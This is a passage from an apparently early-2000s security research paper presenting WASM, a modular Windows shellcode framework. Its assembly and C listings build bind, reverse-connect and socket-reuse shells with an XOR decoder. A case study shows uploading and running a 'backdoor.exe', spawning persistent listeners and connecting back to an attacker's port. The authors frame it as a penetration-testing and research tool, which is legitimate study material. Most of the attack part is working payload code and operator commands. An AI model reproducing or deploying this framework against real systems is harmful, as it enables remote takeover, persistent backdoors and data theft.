: The `FORK` procedure offers an optional functionality that enables to move the execution of the `ASM CORE` to separate, newly created process. After completing this procedure, the parent process has possibility to execute a set of instructions (`EPILOG`) that fix memory contents (stack/heap), restore original register values and resume application execution from the code point just before exploitation of a vulnerability. If no `EPILOG` component is defined in the proof of concept code, the default one that terminates parent process is added to the `ASM CORE`.

`WSAI and BIND|CONN|FIND`
: Every `ASM CORE` must include one component responsible for TCP/IP network communication. Currently, three network communication procedures are implemented. The first one accepts connections on bound socket (`BIND`), the second one creates cyclic backward connections to the attacker's machine (`CONN`), and the last one finds and reuses the existing TCP connection that was used to exploit vulnerability (`FIND`). The separate WSAI component is used for initialization of `ws2_32.dll` network library whenever necessary.

`DISP` (`plug`, `exit`, `kill` requests)
: The `DISP` component is responsible for receiving, writing to memory and execution of plugins

[1] Usually, the asmcode is transferred as part of a string, buffer or other type of data.

and it is the last obligatory component of every ASM CORE. In the case when connection with attacker's machine is lost(or due to a disconnect request), further execution of the ASM CORE is automatically resumed, starting from the network component (only for BIND and CONN procedures). The ASM CORE works therefore as a simple network service that allows for establishing multiple connections with a successfully exploited machine. The separate kill request may allow the attacker to break the ASM CORE loop and terminate the assembly component.

The current version of WASM package contains the following PLUGIN components. The other ones, like for example plugin for performing in-memory execution [12] and privileges manipulation [11] are planned to be implemented in the future.

MAIN (cmd, put, get requests)
: This is the main plugin that gives the possibility of executing cmd.exe in the child process and to tunnel commands and their results between command interpreter and remote attacker's machine. The work with cmd.exe can be ended after providing exit command at the input. If the interpreter hangs, the subprocess may be also terminated with CTRL-C sequence. This plugin also enables to upload and download files over network.

INST (bind, conn requests)
: This plugin is dedicated for creating new instances of the asmcode on a target system. The INST plugin is basically the ASM CORE built from NULL, INIT, FORK, WSAI,DISP and BIND or CONN components. As the result of its execution, a separate process accepting connections on bound socket or performing cyclic backward connections is created. This plugin may be therefore used for establishing another way of communication with attacked machine. Especially, it may be also used in the case when the ASM CORE contains the FIND network component that allows only for one time communication.

3.1.2 The Component Skeleton

Although different assembly components may perform various operations and can be used as building parts of ASM CORE or independent plugins, the general structure of every component is based on the same schema. The use of single unified skeleton for all components significantly improves their management, i.e. configuration, symbols resolving, encoding and generation. Obviously it also influences readability of codes as well as simplicity of creating new components and modifying thr existing ones.

The general skeleton of a component is presented below.

```
; TEST procedure
; ---                                                  -

pTest     proc
    oTest equ tTest-dTest
    lTest db  "test",0
dTest:
    dd    $-_17,0
    dd    $-_02,$-_03,$-_04,0
    db    "cmd",0
tTest:
    nop
    nop
    ...
```

```
    push  dword ptr [ebp+@_var1]
    call  [ebp+@_APIFunction1]
    ret

    @_TTest                   equ @_T
    @_DTest                   equ @_T+10h

    @_APIFunction1            equ @_TTest+00h
    @_APIFunction2            equ @_TTest+04h
    @_APIFunction3            equ @_TTest+08h
    @_APIFunction4            equ @_TTest+0ch

    @_var1                    equ @_DTest+00h
    @_var2                    equ @_DTest+44h

    sTest equ $-dTest
endp
```

The components are implemented as assembly language procedures, with the body placed between `proc` and `endp` directives, and divided into several logical parts. The main part of every procedure is the text block containing the code i.e. the sequence of assembly instructions performing specific operations. This block starts with the `tText:` label and ends with `ret` instruction.

Before the text block, the data block (`dTest:` label) is located, which contains assignments to Windows API functions used inside a given procedure as well as its local static data (ie. constant strings, values). The assignments are stored as two `NULL` terminated tables, referring respectively to functions in `ws2_32.dll` and `kernel32.dll` dynamic libraries. In the source code, assignments are in the form of relative offsets to the table of ASCII representations of API function names. After compilation and resolving made by the asmcode manager, these offsets are changed into calculated 32 bits hash values of function names. If a component makes use of a function from one of these two libraries, the automatic technique for importing function API is used by adding their assignments to the appropriate table in the data block. If the procedure neither uses any API function nor any static local data, the data block is empty.

Besides text and data blocks, every procedures also contains some additional information. Although it is not included in the asmcode during generation process, yet it is used by the asmcode manager. At the beginning of a procedure, there is a directive (`oTest equ tTest-dTest`) that counts total size of data block as the offset between begin of text and data blocks. Then a string describing a procedure name (`lTest db "test",0`) is stored. The text block is followed by a part containing directives used in the procedure code for relative addressing of imported functions and local variables. The last line of a procedure contains a directive that counts the total length of text and code blocks (`sTest equ $-dTest`). This length stores information about the amount of space that is occupied by the procedure when it is loaded into memory.

3.1.3 Position Independence and Decoding

As it was already mentioned, some requirements are imposed on the `ASM CORE` components, if they are to be used during vulnerability exploitation. First, and probably the most important one, is the possibility of executing the component in any part of memory (heap, stack or data segments). Such position independence (*PIC*) can be achieved with the use of relative addressing modes in `jmp`, `call` and `loop` instructions (for example `jmp $-5`). Additionally, in order to enable code localization and invocation of specific components and allow for the usage of static local variables from data blocks, the base register addressing mode is applied. In this mode, every absolute reference is changed into offset, which is equal to the byte length between a given position in the asmcode and some selected

base address saved in one of processor registers (for example `lea eax,[edi+10]`, `push [edi+10]`, `call [ebp-20]`).

In order to use the base addressing, it is necessary to obtain the absolute position in memory where `ASM CORE` is actually located. It can be usually made by obtaining the value of current instruction pointer register (`EIP`). Unfortunately, Intel processors do not have any standard instruction that can be used to directly get the value of this register[2]. We therefore use the `call` instruction that push value of `EIP` register on the stack. The instruction sequence for finding the current code position in memory is presented below:

```
pNull     proc
    oNull equ 0
    lNull db  "null",0
    align 4
dNull:
tNull:
    call  $+5
    pop   ebp
    cld
    add   ebp,5

    sNull equ $-tNull
endp
```

This code sequence is in fact the body of the `NULL` component, which is executed at the beginning of the `ASM CORE`.

As it was already mentioned, some exploitation techniques or other application specific conditions (like limitations of internal data exchange protocols) may require that some specific characters are not used in the asmcodes. Please note that this limitation refers both to the data as well as instruction opcodes. The careful implementation of such components (for example `zero` free) is also possible and is commonly used, for example in our asmcodes for UNIX platforms [6]. However, as windows asmcodes are definitely longer ones, we decided to use slightly different approach in this case.

The whole assembly component is encoded with the use of a very simple algorithm[3] to avoid any forbidden characters. Before the encoded component, a special procedure is provided that decodes the asmcode to the form ready for execution. Obviously, by using this approach the length of asmcode is increased by a size of decoding procedure (14 bytes). Yet, it is much more advantageous than modifying all instructions and data to avoid forbidden characters, what in most cases would much more significantly increase the length of code.

The body of decoding procedure is presented below:

```
pXore     proc
    oXore equ 0
    lXore db  "xore",0
    align 4
dXore:
tXore:
    jmp   $+22
    pop   esi
```

[2]Regardless of the fact that it is the CISC processor and has larger instruction set. We have experienced this problem earlier, during our work with various RISC processors.

[3]In the case of most windows shellcode implementations, including this one, the single `xor` encoding is used.

```
    push  esi
    cld
    mov   ebp,esi
    mov   edi,esi
    xor   ecx,ecx
    mov   cx,1234h
    lodsb
    xor   al,0
    stosb
    loop  $-4
    ret
    call  $-20

    sXore equ $-tXore
endp
```

3.1.4 Init and Stubs

As it was already presented, the complete functionality of the asmcode is in fact divided into few separate components. In the previous section, the general skeleton for asmcode was also given. However, in order to easily address data and use Windows API functions it is not sufficient to simply concatenate selected components into one long piece of assembly code and execute them one by one. The special mechanism for invoking components that will prepare register values and memory content is required.

In our implementation, every asmcode contains a sort of main program procedure with sequence of instructions (stubs) that performs position calculations and invokes particular components in specific order. The main procedure is located and executed after the `NULL/XORE` component. It relies only on `EBP` register, which contains memory address pointing to the beginning of stubs.

It is built from four types of stub blocks.

1. **Calculation of relative position**
   The goal of the initial code is to load `ESI` register with the absolute address of `INIT` procedure (calculated as relative offset to `EBP` register) and reserve some space on the stack (currently 1024 bytes are reserved). The `EBP` register is set to point at offset `0x7c` inside allocated stack memory, what will be later used by components to address global/local data and imported API tables.

   The following code is used at the beginning of the main `ASM CORE` procedure and in child process after execution of `FORK` component.

   ```
   unsigned char rela[]={
       0x8d,0x75,0,              /* lea   esi,[ebp+0x??]       */
       0x81,0xec,0,4,0,0,        /* sub   esp,1024             */
       0x8d,0x6c,0x24,0x80       /* lea   ebp,[esp+0x80]       */
   };
   ```

2. **Invocation of component through `INIT` trampoline**
   Every component that uses the automatic API import feature must be invoked through the special trampoline implemented in the `INIT` component. In order to accomplish that, the absolute address of component location in memory is calculated in reference to the `ESI` register (address of `INIT`) and then loaded to `EAX`. (To be more detailed, `EAX` is loaded with the address of the text block). The actual address of the component, as which we consider the beginning of its data block, is calculated as subtraction of data block length from text

block address. The result of this calculation is saved in EDI register. Finally, the call to INIT trampoline is made.

This code is used to invoke FORK, WSAI, BIND, CONN and FIND components.

```
unsigned char comp[]={
    0x8d,0x86,0,0,0,0,       /* lea   eax,[esi+0x????????] */
    0x8d,0x78,0,             /* lea   edi,[eax-0x??]       */
    0xff,0xd6                /* call  esi                  */
};
```

3. **Direct invocation of component**
   The components that do not need to automaticly import functions from the Windows API may be invoked directly (without INIT trampoline). This is done by issuing a call through EAX register loaded with an absolute address of the component's text block.

   This code is used to invoke DISP component.

```
unsigned char disp[]={
    0x8d,0x86,0,0,0,0,       /* lea   eax,[esi+0x????????] */
    0xff,0xd0                /* call  eax                  */
};
```

4. **Jump**
   In the case when BIND and CONN network communication components are used the ASM CORE works as a simple network service. When a given network session is ended the network procedure is restarted, and there is a possibility to establish communication channel again. In order to do it, there is a jmp instruction used to create a loop enclosing network (BIND or CONN) and DISP components.

   This code is used at the end of the main procedure and also after execution of the FORK component in parent process to jump to the EPILOG procedure.

```
unsigned char jump[]={
    0xeb,0                   /* jmp   0x??                 */
};
```

The functionality responsible for automatic API importing is part of the INIT procedure. The invocation of a component proceeds as follows. At the beginning a jump to the INIT trampoline is made. The trampoline imports some API functions that are considered as global and are always accessible to any component. These are respectively LoadLibraryA(), TerminateProcess() functions from kernel32.dll and send(), recv(), closesocket() functions from ws2_32.dll library. Then, import tables of the component (stored in its local data block) are scanned in order to find and import the other required functions. After that the jump to the component text block is made.

Every assembly component is written with respect to several rules for registers usage. The first and the most important rule is to preserve ESI register, which points to the text block of the INIT procedure. This register is used as a base for calculating absolute addresses inside the whole asmcode, and for indirect jumps to particular components. When the component starts executing EDI register points to its data block, just after import tables, and may be used to address local static data. This register has only local meaning and does not have to be preserved by the component.

The most commonly used register is the EBP, which is used as a base for accessing global and local data variables or calling global and local API functions. These variables are stored in 1024 bytes memory block are reserved on the stack by rela stub executed at the beginning of the asmcode. As the [ebp+offset] addressing is very frequently used by components a special optimization trick was introduced. Generally, in x86 assembly language the length of instructions using

[register+offset] addressing depends on size of the offset and is equal to 1 byte for offset values from -128 to +127 and 4 bytes for values of offset absolutely greater than 128. In order to address as much memory as possible with use of just one byte, the EBP register points to 0x80 offset of the memory block instead of pointing to its beginning. Due to this change, by using negative and positive offsets, the first 255 bytes of memory block may be addressed using shorter instructions (for example mov eax,[ebp+50h] takes 3 bytes, while mov eax,[ebp+84h] - 6 bytes).

The use of EBP addressing mode along with the contents of memory block is presented bellow.

```
ESP=fbase-1024  UNUSED SPACE: ...

                GLOBAL DATA: EBP-0x80+0x00  @@_plugin
                             EBP-0x80+0x04  @@_pSend ->
                             EBP-0x80+0x08  @@_pRecv ->
                             EBP-0x80+0x0c  @@_hsck2
                             EBP-0x80+0x10  @@_hsck

                GLOBAL TEXT: EBP-0x50+0x00  @@_LoadLibraryA
                             EBP-0x50+0x04  @@_TerminateProcess
                             EBP-0x50+0x08  @@_send
                             EBP-0x50+0x0c  @@_recv
                             EBP-0x50+0x10  @@_closesocket

                 LOCAL TEXT: ...

 EDI=            LOCAL DATA: ...

 EBP=ESP+0x80                EBP+0x00
                             EBP+0x04
                             ...

 fbase           FRAME BASE: EBP+1024-0x80
```

The first 20 bytes of reserved memory contain five global variables: cached plugin identifier, pointers to pRecv and pSend assembly procedures exported by DISP component to be used by plugins, and socket handlers. This data is shared and may be used to pass information between different components. Such situation takes places when socket handlers are saved by network components and used by dispatch procedure or plugins.

The next 20 bytes are used to store five pointers to globally accessible API functions, imported by INIT. The rest of memory stores local component API pointers and temporary data.

3.2 Asmcode Manager

Besides the source files for assembly components, the WASM package also contains separate utility (written in C) for management of components and communication with them (the winasm.c). Introduction of such an utility has two major advantages. First of all, the asmcodes can be very easily modified and upgraded at the level of source code (wasm.asm), and then compiled with the regular assembler compiler for MS DOS/Windows (we usually use tasm). It is also very easy to modify or extend its functionality, for example by introducing additional plugins. The second advantage of this approach is that compiled asmcode (wasm.dat) can be used in various different proof of concept codes, without the need of any additional changes. This is because the actual

generation and configuration of asmcodes is handled by dedicated platform independent utility, which allows for running proof of concept codes from various UNIX as well as MS Windows platforms.

The `wasm` utility is divided into 3 parts performing different tasks. Each part is implemented as a separate C function. These functions are responsible respectively for configuration, generation, and communication with the asmcodes. The common part of every function is `wa_t` structure, which is passed as first argument and that is used for storing various shared settings.

The declarations of these functions are presented below:

```
int wa_cfg(wa_t *wa,char *fmt,char *cfg,int sck,char *adr,wp_t *pr,wp_t *ep);
int wa_asm(wa_t *wa);
int wa_net(wa_t *wa);
```

In following sections, each of these functions will be briefly described.

3.2.1 Package Configuration

The configuration of the whole package can be done by invoking `wa_cfg()` function with an initialization string as an argument.

In order to simplify the usage of `wa_cfg()` in proof of concept codes, the initialization string is passed as two separate arguments and then internally concatenated (by `sprintf(init, fmt, cfg)`). Due to such an approach, it is possible to hardcode constant part of configuration (`fmt` argument) in a proof of concept code and pass other dynamic settings (`cfg` argument) specified in a command line at runtime[4]. The remaining arguments of the `wa_cfg()` function can be used to specify a socket descriptor of a connection that will be used to exploit the vulnerability (`sck`), IP or domain address of a target (`adr`), and pointers to optional `PROLOG` (`pr`) and `EPILOG` (`ep`) components.

The initialization string has the following syntax:

```
core: null|xore,init,[find]|[[fork,wsai]|[wsai,]bind(p)|conn(a,p,d)],disp
plug: main|bind(p)|conn(a,p,d)

mgmt: bind(p)|conn(a,p)|test(p)
```

Where `a`, `p`, `d` are parameters denoting the following:

```
a - ip or domain address, for example: lsd-pl.net or 1.2.3.4
p - port number, for example: 6666
d - time delay (in seconds), for example: 300
```

The main use of initialization string is to define how the `ASM CORE` should be generated (`core:` tag). This can be done by specifying names of components and their configuration parameters, if required.

Every `ASM CORE` must contain at least `NULL` or `XORE`, `INIT`, `DISP` and one of the network components (`BIND`, `CONN`, `FIND`). Every `BIND` component requires a port number parameter to be used for port binding operations. The `CONN` component requires 3 parameters: an address, port number, and time delay between connection attempts (in seconds). The `FIND` component requires a descriptor

[4]It can be used for example to specify type and configuration of network components to be used.

to the socket specified as a separate argument to `wa_cfg()` function. If it is required, the `BIND` and `CONN` components may be preceded by network library initialization component (WSAI).

The `FORK` component is optional and it gives a possibility to execute the `EPILOG` procedure, which should be specified as `ep` argument to `wa_cfg()` function. If the `EPILOG` procedure is not specified, the default built-in procedure for terminating the parent process is used. The `FORK` component enforces the use of WSAI component in order to initialize network in the new process. In every case, there is always a possibility of using optional `PROLOG` component.

Below, all possible `ASM CORE` configurations are presented.

```
core: null,init,bind(1234),disp
core: null,init,wsai,bind(1234),disp
core: null,init,fork,wsai,bind(1234),disp
core: null,init,conn(1.2.3.4,1234,12),disp
core: null,init,wsai,conn(1.2.3.4,1234,12),disp
core: null,init,fork,wsai,conn(1.2.3.4,1234,12),disp
core: null,init,find,disp

core: xore,init,bind(1234),disp
core: xore,init,wsai,bind(1234),disp
core: xore,init,fork,wsai,bind(1234),disp
core: xore,init,conn(1.2.3.4,1234,12),disp
core: xore,init,wsai,conn(1.2.3.4,1234,12),disp
core: xore,init,fork,wsai,conn(1.2.3.4,1234,12),disp
core: xore,init,find,disp
```

The second important application of the initialization string is for configuration and generation of plugins (`plug:` tag). As it was already described, currently there are three plugins available, from which `MAIN` is implemented as a separate procedure and `BIND` and `CONN` are generated from existing `ASM CORE` components.

Below, all current valid `PLUGIN` configurations are presented.

```
plug: main
plug: bind(1234)
plug: conn(1.2.3.4,1234,12)
```

The usage of the `wa_cfg()` function is not only limited to the process of asmcode generation. It is also used to configure the part of the package responsible for further communication with the `ASM CORE` during its successful execution on a target machine (`mgmt:` tag). This functionality can be used, when `wasm.c` source file is compiled as a standalone utility capable of establishing multiple communication channels with successfully exploited target machine.

Below, the management configurations are presented.

```
mgmt: bind(1234)
mgmt: conn(1.2.3.4,1234)
mgmt: test(1234)
```

3.2.2 CORE & PLUGINs Generation

If the package is properly initialized (by `wa_cfg()` function), a proof of concept code may call `wa_asm()` function in order to generate previously specified and configured `ASM CORE`. The `PLUGIN`

components are not intended to be used directly from a proof of concept code, as they are generated and sent to target machines by the package itself (inside `wa_net()` function).

When `wa_asm()` function is invoked, it opens `wasm.dat` file containing binary version of asmcodes, compiled from `wasm.asm` source file. Then it reads it as a data file and searches for a `WINASM` mark, which labels the first part of the file. Just after this mark, the pointers to four configuration tables and the indirect pointer to the second part of the file containing assembly components are stored. They are used for localization and configuration of assembly component in a platform independent way.

At the beginning, the `wa_asm()` function calculates hash values for these symbols from `kernel32.dll` and `ws2_32.dll` libraries which are declared in import tables located in components data sections. Next, the initialization string is parsed and the total length of stubs required to build main `ASM CORE` procedure as well as offsets to all specified components are calculated. At the same time all component's parameters (like port numbers, addresses, time delays) are configured according to the `wa_cfg()` specification. At the end, the relocation is made and finally all appropriately filled stubs and components are concatenated to create the `ASM CORE` body.

The final version of generated code is placed in a buffer inside `wa_t` structure. From this structure, the asmcode may be copied by a proof of concept code (`memcpy(request,wa.a.b,wa.a.l);`) and then sent to a vulnerable application.

3.2.3 Communication Channels

The `ASM CORE` is executed after successful remote exploitation of a vulnerable application or service. At this point, one of three different scenarios of network communication between attacker's and target machine may be chosen. In order to be able to establish a communication channel, a proof of concept code invokes `wa_net()` routine. If the `ASM CORE` uses the `BIND` component, the `wa_net()` function connects to the target machine on a specified port. If the `CONN` component is used, the `wa_net()` function binds itself on a specified port, waits for and accepts backward connections from the target machine. In the third case, when the `FIND` component is applied, the `wa_net()` routine reuses the already established TCP connection that was used to exploit a vulnerability.

When the communication channel is established, `wa_net()` function enters the main loop. From this moment, a user can send commands to the `cmd.exe` interpreter (`cmd` request), download and upload files (`get`/`put` request), as well as create new instances of the asmcode[5] (`inst`). These commands are translated inside `wa_net()` into appropriate requests handled by `ASM CORE` running on a target machine. If required, plugins are generated and uploaded in the way completely transparent for a user.

A user may finish working with target machine by sending a (`kill`) request terminating process in which the asmcode resides. He can also close communication channel or simply disconnect (`exit`). In such a case, the `ASM CORE` on the target machine will again execute a network component and will still be able to establish new communication channel. Please note that to create a possibility of spawning multiple working session on a target machine (for example few hours after exploitation), the compiled `wasm.c` file is used as standalone utility.

[5]The one bound on a port or the one that tries to establish a backward connection

Chapter 4

The Case Study

The WASM package contains the source code for assembly components (x86 assembly language) and the asmcode manager utility (C language). We have tried to provide the assembly sources with possibly sufficient comments. In case of any problems with very technical parts of this paper, please refer to the source codes for implementation details. In this chapter we try to illustrate how to use the asmcodes and how to integrate them with an example of proof of concept code (the listing below).

```
#include "wasm.c"

wp_t prolog={
    "\x90\x90\x90",
    3
};

main(int argc,char **argv){
    struct hostent *hp;struct sockaddr_in adr;int sck;
    wa_t wa;

#ifdef WIN
    WSADATA wsa_data;
    WSAStartup(MAKEWORD(2,0),&wsa_data);
#endif

    printf("copyright LAST STAGE OF DELIRIUM aug 2002 poland  //lsd-pl.net/\n");
    printf("wasm exploit skeleton\n\n");

    if(argc!=5) {pintf("usage: wexp addr port -n cfg\n");exit(0);}

    sck=socket(AF_INET,SOCK_STREAM,0);
    adr.sin_family=AF_INET;
    adr.sin_port=htons((unsigned short)atoi(argv[2]));
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL) goto err;
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }
    if(connect(sck,(struct sockaddr*)&adr,sizeof(adr))) goto err;

    wa_cfg(&wa,"core: xore,init,%s,disp",argv[4],sck,argv[1],0,0);
```

```
    wa_asm(&wa);

    send(sck,wa.a.b,wa.a.l,0);
    wa_net(&wa);
    exit(0);
err:
    printf("error\n");;
}
```

The main goal of this code is to established a TCP connection with a given service of a target system and send to it generated asmcodes.

The `wa_cfg()` function is used to configure the package. The initialization string indicates that the asmcode will be composed of `XORE`, `INIT` and `DISP` components. The type of network communication component will be specified as the `-n` command line parameter at runtime. The asmcode is generated with the use of `wa_asm()` function and sent to a target system At the end, the `wa_net()` function is invoked to handle network communication with the attacked system.

The source codes are provided with 2 separate `makefiles`, dedicated for use in MS Windows (`.win`) and UNIX (`.unx`) environments. The additional batch file (`.bat`) is also provided for compilation of assembly language source codes with the use of Borland Turbo Assembler and Linker.

The compilation of `wasm` utility (both for MS Windows and UNIX) and generation of assembly components (for MS Windows only) is presented below:

```
z:\projects\WASM-1.0\nmake /f makefile.win
z:\projects\WASM-1.0\makefile.bat

# make -f makefile.unx
```

or

```
# (g)cc wasm.c -o wasm [-lnsl -lsocket]
```

The compilation of sample proof of concept code (for MS Windows and UNIX) is presented below:

```
z:\packages\WASM-1.0\nmake /f makefile.win wexp

# make -f makefile.unx wexp
```

or

```
# (g)cc wexp.c -o wexp [-lnsl -lsocket]
```

As the result of the compilation, the `wasm` executable, `wexp` sample proof of concept code and `wasm.dat` file containing assembly components should be created.

Below, the general example illustrating the usage of the WASM package is provided. The example can be fully recreated on a single MS Windows 2K/XP System. At the beginning, the `wasm` utility has to be started with `test(2222)` option. In this mode, the `wasm` utility will simulate a vulnerable service, what means that, it will create a TCP socket bound to the port 2222 and will wait for a connection to accept.

```
z:\projects\WASM-1.0>wasm -n "test(2222)"
copyright LAST STAGE OF DELIRIUM aug 2002 poland  //lsd-pl.net/
wasm manager (vers 1.0)

[ mgmt: test(2222)
[ wait for connections 0.0.0.0 2222
```

In the second window console, the `wexp` (sample proof of concept code) should be executed with local host address `127.0.0.1` (as the address of the target system) and port `2222` (port of a vulnerable service) as parameters. In this example, the `FIND` network communication component is provided after the `-n` parameter. The created asmcode will therefore use the single connection in the attack and further communication with the compromised system (local one in this case).

The `wexp` program, when executed, connects with vulnerable service and sends the buffer containing the generated asmcode. At the same time, the vulnerable service `wasm` receives data, saves it in memory and executes it (this part may be considered as a simulation of actual attack technique). The program can be executed with different initialization strings:

```
z:\projects\WASM-1.0>wexp 127.0.0.1 1234 -n "find"
z:\projects\WASM-1.0>wexp 127.0.0.1 1234 -n "bind(3333)"
z:\projects\WASM-1.0>wexp 127.0.0.1 1234 -n "fork,bind(3333)"
z:\projects\WASM-1.0>wexp 127.0.0.1 1234 -n "conn(10.0.0.2,4444,60)"
z:\projects\WASM-1.0>wexp 127.0.0.1 1234 -n "fork,conn(10.0.0.2,4444,60)"
```

In this case, the program is invoked as follows:

```
z:\projects\WASM-1.0>wexp 127.0.0.1 2222 -n "find"
copyright LAST STAGE OF DELIRIUM aug 2002 poland  //lsd-pl.net/
wasm exploit skeleton

[ core: xore,init,find,disp (472 bytes)
[ ready
>
```

The prompt indicates that the simulated attack has completed successfully, the asmcode has been executed, and communication channel is ready for use. From this point, the user may enter commands and perform operations on the remote system. The list of available commands can be obtained with the `help` command.

```
> help
cmd  -execute cmd.exe (to quit type 'exit' or press CTRL-C)
put  pathname -upload file from local directory to the remote host
get  pathname -download file from the remote host to local directory
inst bind(1234) -fork,bind and listen on 1234 port
inst conn(1.2.3.4,1234,60) -fork,try connect to 1.2.3.4 1234 every 60s
exit -disconnect
kill -terminate the process
>
```

To transfer a file from local directory to the target machine, `put` command can be used. The example of file transfer capability is presented on the listing below:

```
> put c:\backdoor.exe
[ transfer backdoor.exe to 127.0.0.1 c:\backdoor.exe
>
```

The `cmd` command can be used to initiate an interactive session with a windows command line interpreter (`cmd.exe`). When the windows console is spawned on a target system, the previously uploaded file containing backdoor binary can be executed. After doing this, an interactive session may be stopped at any time with the `exit` command or by pressing `CTRL-C` key sequence. This second case will be handled by the `wa_net()` function and translated into a request that can be understood by the `DISP` component. In a result, the `cmd.exe` child process on the target system will be unconditionally killed.

```
> cmd
[ plug: main (581 bytes)
[ run cmd.exe
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

z:\projects\WASM-1.0>c:\backdoor.exe
z:\projects\WASM-1.0>
[ CTRL-C
[ end
>
```

As in this example, the `FIND` communication component is used, there will be no possibility of further communication with the component after closing the current connection (the one that was used during the attack). To create a possibility of establishing new connections, the `inst` command may be used, which will create a new instance of the asmcode on the remote target.

```
> inst bind(5555)
[ plug: null,init,fork,wsai,bind(5555),disp (736 bytes)
[ run
>
```

In a result of this operation, the new plugin is dynamically generated, sent to the target machine and executed. The plugin creates new process with new TCP socket that is bound to port `5555`.

Below another example of the `inst` command usage is presented. In this case, another plugin is generated, sent and executed on the target system. This plugin will periodically attempt to connect with port `6666` of the attacker's system in order to establish new communication channel.

```
> inst conn(127.0.0.1,6666,10)
[ plug: null,init,fork,wsai,conn(127.0.0.1,6666,10),disp (735 bytes)
[ run
>
```

At this point the current session with the asmcode may be terminated with the `kill` command. As the `FIND` component is used, the `exit` as well as the `kill` command will terminate process.

```
> kill
[ end

z:\projects\WASM-1.0>
```

The vulnerable application process (simulated by the `wasm` was terminated). However, in the compromised system 2 new asmcode processes exist, created with the `inst` command. Therefore there is a possibility of establishing a connection with a target system by using the `wasm` utility with `conn` parameter. Due to this option, the program will connect with local host at port `5555`, where newly created instance of the asmcode is listening.

```
z:\projects\WASM-1.0>wasm -n "conn(127.0.0.1,5555)"
copyright LAST STAGE OF DELIRIUM aug 2002 poland  //lsd-pl.net/
wasm manager (vers 1.0)

[ mgmt: conn(127.0.0.1,5555)
[ trying connect to 127.0.0.1 5555
[ connection established
[ ready
> exit
[ end

z:\projects\WASM-1.0>
```

As it is presented on the listing above, it is possible to establish brand new connection with exactly the same functionality: it is possible to execute commands in windows console and to transfer files. The session is again closed with the `exit` command, however in this case the asmcode process is not terminated and still listens on the port `5555`.

To establish a communication channel with the second instance of the asmcode, several other steps have to be undertaken. This second instance of the asmcode attempts to create backward connection with the attacker's system. To accept this connection, on attacker's system a TCP socket bound on port `6666` has to be created. The new communication channel (with the second instance of the asmcode) should be created within 10 seconds and command prompt should be displayed. This technique may be used especially when the attack is aimed at gaining control over the system protected by a firewall solution.

To terminate the asmcode process, the `kill` command is issued.

```
z:\projects\WASM-1.0>wasm -n "bind(6666)"
copyright LAST STAGE OF DELIRIUM aug 2002 poland  //lsd-pl.net/
wasm manager (vers 1.0)

[ mgmt: bind(6666)
[ wait for connections 0.0.0.0 6666
[ connection accepted
[ ready
> kill
[ end

z:\projects\WASM-1.0>

<CTRL-ALT-DEL> "Shut down..." "Hibernate"
```

Chapter 5

Summary

In this paper introduction to application and development of assembly components for MS Windows 2K/XP operating systems was presented. We described the functionality of Win32 assembly components with a special focus on application and implementation specific details. We also provided the flexible framework for creating advanced assembly components. This is clearly a technical paper. However, as usually we would like to show that what we are talking about is something more than pure and isolated technology. A technology always has its impact.

The Last Stage of Delirium Research Group has been dealing with security related issues for several years now. For most of this time we have been focused on clearly technological research. However, at some point we started to fight with various security myths. It was really a great surprise for us to find out that such myths are often at least as dangerous as security threats themselves.

The security of MS Windows operating system is still covered by many dangerous myths. There was a time when these operating systems were considered as very secure solutions, mainly due to their specificity as client workstations. Then the world of security changed and Windows became considered as the most unsecured system with hundreds of security vulnerabilities on board by default. This is a good example of a security myth. Obviously, it cannot be denied that there exist great amount of various bugs in Windows operating systems as well as in any other piece of software. However, it should be also remembered that only a small part of them are security critical ones in the context of specific component or application. Further, only some bugs from this small group are critical in the context of the whole operating system. And finally, not every vulnerability can be exploited in practice.

There is another myth, directly related with an exploitation process. This is the myth, we are in fact dealing in this paper and it refers to theoretically increased difficulty of exploiting Windows vulnerabilities. We hope that with this paper we have destroyed or at least seriously damaged this myth, as the framework (WASM package) presented in this paper shows that actual exploitation of Windows vulnerabilities can be very similar to other systems.

That brings us to more general conclusion of this paper. Regardless of the complexity of the attacked system, it is always possible to create a tool that will simplify the attack process. In this paper we presented some elements of such a tool. Although, this tool is created for use in penetration tests, we are fully aware that i may be also used for malicious intrusion attempts. Here we get close to the old question, what is more dangerous a published tool, available for everybody including developers of countermeasures or the tool about which nobody knows nothing?

We still believe that in case of security the main requirement for any improvement is public and open research, both in the field of attack techniques as well as countermeasures. It is obvious that to defend yourself efficiently, you have to know what to defend against. And what is probably more important - you cannot believe any myths...

References

[1] Billy Belcebu. *Virus Writing Guide 1.00 for Win32.* (29A-4.202), http://vx.netlux.org/dl/mag/29a-4.zip.

[2] Microsoft Corporation. *Microsoft Developer Network Library.* http://msdn.microsoft.com/library/.

[3] Mark E. Russinovich David A. Solomon. *Inside Microsoft Windows 2000*, 2000. Microsoft Press, ISBN: 0735610215, Third Edition.

[4] Halvar Flake. *DarkLab mailing list: message number 128.* http://www.darklab.org/archive/msg00128.html.

[5] Intel Corporation. *Intel Architecture Software Developer's Manual, vol.2 Instruction Set Reference.* http://download.intel.com/design/PentiumII/manuals/24319102.pdf.

[6] The Last Stage of Delirium Research Group. *Unix Assembly Codes Development for Vulnerabilities Illustration Purposes*, 2001. http://lsd-pl.net/papers.html.

[7] LethalMind. *A guide to the latest methods to retrieve API's in a Win32 environment.* (29A-4.227), http://vx.netlux.org/dl/mag/29a-4.zip.

[8] Microsoft Corporation. *Microsoft Portable Executable and Common Object File Format Specification.* Revision 6.0, http://www.microsoft.com/hwdev/hardware/PECOFF.asp.

[9] Gary Nebbett. *Windows NT Native API*, 2000. New Riders Publishing, ISBN: 1578701996.

[10] Ratter. *Gaining important data from PEB under NT boxes.* (2nd part of 29A-6.024) http://vx.netlux.org/dl/mag/29a-6.zip.

[11] Ratter. *Impersonation, your friend.* (1st part of 29A-6.024) http://vx.netlux.org/dl/mag/29a-6.zip.

[12] Z0MBiE. *In-Memory PE EXE Execution.* (29A-6.010) http://vx.netlux.org/dl/mag/29a-6.zip.